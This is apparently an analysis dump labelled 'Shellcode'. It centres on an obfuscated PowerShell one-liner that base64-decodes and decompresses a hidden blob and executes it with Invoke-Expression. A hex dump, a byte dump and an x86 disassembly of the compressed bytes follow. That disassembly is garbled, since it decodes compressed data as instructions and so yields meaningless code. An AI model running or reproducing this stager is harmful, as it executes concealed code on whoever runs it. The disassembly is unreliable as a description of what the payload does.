Shellcode

Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\" nVPbattAEH3XVwxCEAlLQo6TUhwCuRS3gdYNUWgfjB/k9STeZrUrdke2lNT/3lEit01IS+nTkXZnzjlz2UDAMZz43uydUhdlZSyF/h1ajWq0ny6V8qM5VPVCSQGOCmLAhvgeLjRdkoUv0lJdqFOljAj7s00MtdQETY9tj/fR0X/rnFssCK9XDMudTt3zrmP4pdx//abdn3Tq/olHtn0IHBc9xU3yefENBUHeOsIynSKluRF3SK5HCGev3J0ulxadmxSlVO18PGYBtBywMfYuhtcynvC6rZDDc+IiytcDL60hI4zqQ69FFXmBS8+N1mw03HOPKUNu2VK7VCPtxXCQZVkE38HUlOhaqSMIKq5vdmpt0dl7at2F5r5qgaG/aAl9Tos4sOFA5r9CgXKNYVC9ILrn+8wL2n/gm51JYp9rtNyNzrvhvoz2mTPOosFhp9bOsnlH2JxNvM1KKoSQFRJFf0+O4KFzMnhutY2D+8FhPIz/3PCJKm4ds02Nxgi23o2xrCiPh+xFsi7CQfc1GLACmwtk525H98LRe6QzLtSFM16rORv5UOilwoizkuF86wXEubwZSTc6SEosF2jf4Y3UkqTREAhIpkWJ4H+VerTvQ6L5z1WFQHg8mdRadJEOkqpwjla27gZ0HNB4/OyVZXHQph9R39IqzpoRT5/hIIu8nfOrWpMsMX3cS1PlaNdSoEs/FdatCtWN0FRt10HIeG5P72MeBk26a3sUxfBThDeQdlPvHyArxkETd/Bi9XIqLCW5QqwgyVEYvYS3b3hFt6IgsXrY/gA= \" )))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();"

Hex dump: 9d 53 db 6a db 40 10 7d d7 57 0c 42 10 09 4b 42 8e 93 52 1c 02 b9 14 b7 81 d6 0d 51 68 1f 8c 1f e4 f5 24 de 66 b5 2b 76 47 b6 94 d4 ff de 51 22 b7 4d 48 4b e9 d3 91 76 67 ce 39 73 d9 40 c0 31 9c f8 de ec 9d 52 17 65 65 2c 85 fe 1d 5a 8d 6a b4 9f 2e 95 f2 a3 39 54 f5 42 49 01 8e 0a 62 c0 86 f8 1e 2e 34 5d 92 85 2f d2 52 5d a8 53 a5 8c 08 fb b3 4d 0c b5 d4 04 4d 8f 6d 8f f7 d1 d1 7f eb 9c 5b 2c 08 af 57 0c cb 9d 4e dd f3 ae 63 f8 a5 dc 7f fd a6 dd 9f 74 ea fe 89 47 b6 7d 08 1c 17 3d c5 4d f2 79 f1 0d 05 41 de 3a c2 32 9d 22 a5 b9 11 77 48 ae 47 08 67 af dc 9d 2e 97 16 9d 9b 14 a5 54 ed 7c 3c 66 01 b4 1c b0 31 f6 2e 86 d7 32 9e f0 ba ad 90 c3 73 e2 22 ca d7 03 2f ad 21 23 8c ea 43 af 45 15 79 81 4b cf 8d d6 6c 34 dc 73 8f 29 43 6e d9 52 bb 54 23 ed c5 70 90 65 59 04 df c1 d4 94 e8 5a a9 23 08 2a ae 6f 76 6a 6d d1 d9 7b 6a dd 85 e6 be 6a 81 a1 bf 68 09 7d 4e 8b 38 b0 e1 40 e6 bf 42 81 72 8d 61 50 bd 20 ba e7 fb cc 0b da 7f e0 9b 9d 49 62 9f 6b b4 dc 8d ce bb e1 be 8c f6 99 33 ce a2 c1 61 a7 d6 ce b2 79 47 d8 9c 4d bc cd 4a 2a 84 90 15 12 45 7f 4f 8e e0 a1 73 32 78 6e b5 8d 83 fb c1 61 3c 8c ff dc f0 89 2a 6e 1d b3 4d 8d c6 08 b6 de 8d b1 ac 28 8f 87 ec 45 b2 2e c2 41 f7 35 18 b0 02 9b 0b 64 e7 6e 47 f7 c2 d1 7b a4 33 2e d4 85 33 5e ab 39 1b f9 50 e8 a5 c2 88 b3 92 e1 7c eb 05 c4 b9 bc 19 49 37 3a 48 4a 2c 17 68 df e1 8d d4 92 a4 d1 10 08 48 a6 45 89 e0 7f 95 7a b4 ef 43 a2 f9 cf 55 85 40 78 3c 99 d4 5a 74 91 0e 92 aa 70 8e 56 b6 ee 06 74 1c d0 78 fc ec 95 65 71 d0 a6 1f 51 df d2 2a ce 9a 11 4f 9f e1 20 8b bc 9d f3 ab 5a 93 2c 31 7d dc 4b 53 e5 68 d7 52 a0 4b 3f 15 d6 ad 0a d5 8d d0 54 6d d7 41 c8 78 6e 4f ef 63 1e 06 4d ba 6b 7b 14 c5 f0 53 84 37 90 76 53 ef 1f 20 2b c6 41 13 77 f0 62 f5 72 2a 2c 25 b9 42 ac 20 c9 51 18 bd 84 b7 6f 78 45 b7 a2 20 b1 7a d8 fe 00
0x00000000 9d               popfd
0x00000001 53               push ebx
0x00000002 db6adb           fld  [edx - 37]
0x00000005 40               inc eax
0x00000006 107dd7           adc byte [ebp - 41],bh
0x00000009 57               push edi
0x0000000a 0c42             or al,66
0x0000000c 1009             adc byte [ecx],cl
0x0000000e 4b               dec ebx
0x0000000f 42               inc edx
0x00000010 8e93521c02b9     mov ss,word [ebx - 1191044014]
0x00000016 14b7             adc al,0xffffffb7
0x00000018 81d60d51681f     adc esi,0x1f68510d
0x0000001e 8c1f             mov word [edi],ds
0x00000020 e4f5             in al,245
0x00000022 24de             and al,0xffffffde
0x00000024 66b52b           mov ch,43
0x00000027 7647             jbe 0x00000070
0x00000029 b694             mov dh,148
0x0000002b d4ff             aam 255
0x0000002d de5122           ficom word [ecx + 34]
0x00000030 b74d             mov bh,77
0x00000032 48               dec eax
0x00000033 4b               dec ebx
0x00000034 e9d3917667       jmp 0x6776920c
0x00000039 ce               into
0x0000003a 3973d9           cmp dword [ebx - 39],esi
0x0000003d 40               inc eax
0x0000003e c0319c           sal byte [ecx],156
0x00000041 f8               clc
0x00000042 deec             fsubp st4,st0
0x00000044 9d               popfd
0x00000045 52               push edx
0x00000046 17               pop ss
0x00000047 65652c85         gs: sub al,0xffffff85

Byte Dump:
.S.j.@.}.WB.KB..R.......Qh.....$.f.+vG.....Q"[email protected],...Z.j......9T.BI..b.....4]../.R].S.....M...M.m.......[,..W..N...c........t...G.}...=.M.y..A.:.2."...wH.G.g..........T.|<f....1....2......s.".../.!#..C.E.y.K...l4.s.)Cn.R.T#..p.eY......Z.#.*.ovjm..{j....j...h}[email protected]*....E.O...s2xn.....a<.....*n..M........(...E...A.5....d.nG...{.3...3^.9..P.......|......I7:HJ,.h.........H.E....z..C...U.@x<..Zt....p.V...t..x...eq...Q..*...O.......Z.,1}.KS.h.R.K?......Tm.A.xnO.c..M.k{...S.7.vS..+.A.w.b.r*,%.B..Q....oxE...z...